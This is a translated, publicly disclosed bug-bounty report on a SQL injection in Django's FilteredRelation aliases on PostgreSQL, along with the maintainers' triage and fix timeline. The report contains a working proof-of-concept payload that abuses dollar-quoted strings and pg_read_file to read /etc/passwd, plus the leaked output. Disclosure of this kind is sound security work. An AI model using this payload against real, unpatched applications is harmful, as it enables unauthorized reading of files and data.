Django | 报告 #3417967 - 在PostgreSQL上注解FilteredRelation时潜在的SQL注入
时间线
- 已验证身份的Hacker:已成功完成身份验证检查的黑客。
- stackered向 Django 提交了一份报告。
- 时间:2025年11月9日,晚上8:26(UTC)
报告内容
嗨,Django 安全团队!
这个漏洞与CVE 2025-57833和CVE 2025-59681相关,因为它源于FORBIDDEN_ALIAS_PATTERN中不完整的正则表达式过滤。
在 PostgreSQL 中,$符号可以用来替换引号,并在标签之间构建原始字符串,例如:$$something$$或$tag$something$tag$。这可以被滥用来使部分查询被解释为原始字符串,而不是要执行的实际查询。在某些情况下,这允许构建注入,如下面的概念验证(PoC)所示。
以下 PoC 可以粘贴到tests/filtered_relation/tests.py文件的FilteredRelationTests类中。
PoC 代码(712 字节)
deftest_sqli(self):user_data="$a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1"qs=(Book.objects.annotate(**{user_data:FilteredRelation("editor"),}).select_related(user_data))try:importdjangoforeinqs.all():print("######### 注入成功 #########")print(e.title)print("############################")exceptdjango.db.utils.ProgrammingErrorase:print(f"------\n{e}")这个 PoC 将从 PostgreSQL Docker 容器中读取/etc/passwd文件,你可以使用以下命令运行该容器:
dockerrun --rm -it --net=host --name some-postgis -ePOSTGRES_PASSWORD=mysecretpassword -d postgres将tests/test_sqlite.py文件修改为:
DATABASES={"default":{"ENGINE":"django.db.backends.postgresql","NAME":"django","USER":"postgres","PORT":5432,"HOST":"localhost"},}SECRET_KEY="mysecretpassword"最后,可以使用以下命令执行 PoC:
cddjango/tests python3 runtests.py filtered_relation.tests.FilteredRelationTests.test_sqli以下是输出结果,显示成功读取了 Docker 容器中的文件。
输出(1.01 KiB)
######### 注入成功 ######### root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin postgres:x:999:999::/var/lib/postgresql:/bin/bash ############################所执行的完整 SQL 查询如下:
完整SQL查询(1.07 KiB)
SELECT"filtered_relation_book"."id","filtered_relation_book"."title","filtered_relation_book"."author_id","filtered_relation_book"."editor_id","filtered_relation_book"."number_editor","filtered_relation_book"."editor_number","filtered_relation_book"."state",$a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1."id",$a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1."name"FROM"filtered_relation_book"INNERJOIN"filtered_relation_editor"$a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1ON("filtered_relation_book"."editor_id"=$a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1."id")这个漏洞在此上下文中起作用,因为用户输入在查询中被多次反射,允许$a$、$b$、$c$…… 等标签被闭合,并使查询的大部分内容被解释为 select 语句的原始字符串。
以下是简化后的查询,便于阅读:
SELECT"filtered_relation_book"."id","filtered_relation_book"."title","filtered_relation_book"."author_id","filtered_relation_book"."editor_id","filtered_relation_book"."number_editor","filtered_relation_book"."editor_number","filtered_relation_book"."state",$a$...$a$,$b$...$b$,$c$...$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1."id")影响
这是一个 SQL 注入漏洞,允许窃取数据、读取系统文件(如 PoC 所示)或允许远程命令执行。
修复方案
修复方法是在FORBIDDEN_ALIAS_PATTERN正则表达式中添加$符号。
后续处理流程
jacobtylerwalls (Django 员工)发表了评论。
- 时间:2025年11月10日,下午5:15(UTC)
- 内容:感谢您的报告。我们将进行调查并尽快回复您。在此期间,请对此信息保密。如果您还没有查看,请查阅 Django 安全团队如何评估报告。请注意,我们可能需要几周时间才能完成分析。除非您发现新的相关信息,否则无需催促安全团队。所有报告都力求在行业标准的 90 天内解决。
jacobtylerwalls (Django 员工)发表了评论。
- 时间:14天前
- 内容:您好 stackered,感谢您的报告和耐心等待。我们已经确认了该漏洞,并已为其分配了CVE-2025-13372。我已附上我们提议的缓解解决方案。请您测试一下补丁,确保它能可靠地修复问题。我们计划在一篇博客文章中提及漏洞的发现者。使用 “stackered” 可以吗,或者您希望以其他方式署名?包含此修复的 Django 版本目前计划于 12 月 2 日发布。在更新版本发布之前,请对此保密。附件:
0001-Fixed-CVE-2025-13372-Protected-FilteredRelation-agai.patch
jacobtylerwalls (Django 员工)将状态更改为已分类。
- 时间:14天前
stackered (已验证身份的Hacker)发表了评论。
- 时间:13天前
- 内容:您好 Jacob,我已经测试了提议的补丁,并且无法再复现该问题。署名用 “stackered” 就可以,谢谢。祝您有美好的一天!
nessita (Django 员工)关闭了报告并将状态更改为已解决。
- 时间:3小时前
- 内容:此问题已于 2025 年 12 月 2 日下午 2 点修复并发布。已发布 Django 安全版本:5.2.9、5.1.15 和 4.2.27。详细信息可在 Django 项目博客上找到。
The Internet Bug Bounty已决定此报告不符合赏金资格。
- 时间:3小时前
- 内容:Django 不为安全报告提供金钱奖励。您可以按照以下链接向 Internet Bug Bounty 计划提交该问题。
nessita (Django 员工)请求披露此报告。
- 时间:3小时前
stackered同意披露此报告。
- 时间:3小时前
此报告已被披露。
- 时间:3小时前
报告信息摘要
- 报告时间:2025年11月9日,晚上8:23(UTC)
- 报告人:stackered
- 报告对象:Django
- 报告 ID:#3417967
- 状态:已解决
- 严重性:高 (8.1)
- 披露时间:2025年12月2日,下午3:28(UTC)
- 弱点类型:SQL 注入
- CVE ID:CVE-2025-57833, CVE-2025-59681
- 赏金:隐藏(无)
biOK/hzhVF2yKaGc5mK8oXIEkdw1U0SUEAjO/010PZr9RfhPoQi2Nl74TDGw282o
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)